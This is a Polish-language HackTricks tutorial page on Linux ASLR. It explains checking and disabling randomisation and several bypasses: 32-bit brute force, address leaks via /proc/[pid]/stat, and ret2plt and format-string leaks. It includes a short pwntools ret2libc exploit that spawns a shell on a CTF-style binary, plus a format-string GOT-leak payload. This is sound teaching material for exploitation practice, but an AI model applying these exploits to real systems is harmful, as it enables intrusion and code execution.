.. | ||
README.md | ||
ret2plt.md |
ASLR
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFTów
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Randomizacja układu przestrzeni adresowej (ASLR) to technika bezpieczeństwa stosowana w systemach operacyjnych do losowego rozmieszczania adresów pamięci używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
Sprawdzanie stanu ASLR
Aby sprawdzić stan ASLR w systemie Linux, można odczytać wartość z pliku /proc/sys/kernel/randomize_va_space
. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:
- 0: Brak randomizacji. Wszystko jest statyczne.
- 1: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
- 2: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez
brk()
jest randomizowana.
Możesz sprawdzić stan ASLR za pomocą następującej komendy:
cat /proc/sys/kernel/randomize_va_space
Wyłączanie ASLR
Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space
na 0. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Możesz również wyłączyć ASLR dla wykonania za pomocą:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Włączanie ASLR
Aby włączyć ASLR, można zapisać wartość 2 do pliku /proc/sys/kernel/randomize_va_space
. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Trwałość po ponownym uruchomieniu
Zmiany dokonane za pomocą poleceń echo
są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik /etc/sysctl.conf
i dodać lub zmodyfikować następującą linię:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Po edycji /etc/sysctl.conf
, zastosuj zmiany za pomocą:
sudo sysctl -p
To zapewni, że ustawienia ASLR pozostaną po ponownym uruchomieniu.
Bypasses
Brutalne narzucanie 32-bitowe
PaX dzieli przestrzeń adresową procesu na 3 grupy:
- Kod i dane (zainicjowane i niezainicjowane):
.text
,.data
i.bss
—> 16 bitów entropii w zmiennejdelta_exec
. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych. - Pamięć przydzielana przez
mmap()
i biblioteki współdzielone —> 16 bitów, nazwanadelta_mmap
. - Stos —> 24 bity, oznaczane jako
delta_stack
. Jednakże, faktycznie używa 11 bitów (od 10. do 20. bajtu włącznie), wyrównanych do 16 bajtów —> To daje 524,288 możliwych rzeczywistych adresów stosu.
Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na ominięcie ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie.
Pomysły na brutalne narzucanie:
- Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić duży ślizg NOP przed kodem powłoki, możesz po prostu brutalnie narzucić adresy na stosie, aż przepływ przeskoczy nad częścią ślizgu NOP.
- Inną opcją w przypadku, gdy przepełnienie nie jest tak duże, a atak może być uruchomiony lokalnie, jest możliwość dodania ślizgu NOP i kodu powłoki do zmiennej środowiskowej.
- Jeśli atak jest lokalny, możesz spróbować brutalnie narzucić bazowy adres libc (przydatne dla systemów 32-bitowych):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Jeśli atakujesz zdalny serwer, możesz spróbować przeprowadzić atak siłowy na adres funkcji
usleep
z bibliotekilibc
, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer potrzebuje dodatkowych 10 sekund na odpowiedź, znalazłeś adres tej funkcji.
{% hint style="success" %} W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe. {% endhint %}
Lokalne informacje (/proc/[pid]/stat
)
Plik /proc/[pid]/stat
procesu jest zawsze czytelny dla wszystkich i zawiera interesujące informacje, takie jak:
- startcode & endcode: Adresy powyżej i poniżej z TEKSTU binarnego
- startstack: Adres początku stosu
- start_data & end_data: Adresy powyżej i poniżej, gdzie znajduje się BSS
- kstkesp & kstkeip: Aktualne adresy ESP i EIP
- arg_start & arg_end: Adresy powyżej i poniżej, gdzie znajdują się argumenty wiersza poleceń
- env_start & env_end: Adresy powyżej i poniżej, gdzie znajdują się zmienne środowiskowe
Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego wejścia, które można stworzyć po odczytaniu tego pliku. Dla atakującego jest możliwe uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji.
{% hint style="success" %}
Aby uzyskać więcej informacji na temat tego pliku, sprawdź https://man7.org/linux/man-pages/man5/proc.5.html szukając /proc/pid/stat
{% endhint %}
Posiadanie wycieku
- Wyzwaniem jest dostarczenie wycieku
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc
, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z przykładu stąd (sprawdź tę stronę po więcej szczegółów):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Wykorzystując przepełnienie bufora można wykorzystać ret2plt do wycieku adresu funkcji z biblioteki libc. Sprawdź:
{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}
- Format Strings Arbitrary Read
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na łańcuchy formatujące, można wyciekać adres funkcji z biblioteki libc z GOT. Poniższy przykład pochodzi stąd:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Możesz znaleźć więcej informacji na temat arbitralnego odczytu łańcuchów formatujących w:
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Ret2ret & Ret2pop
Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:
{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.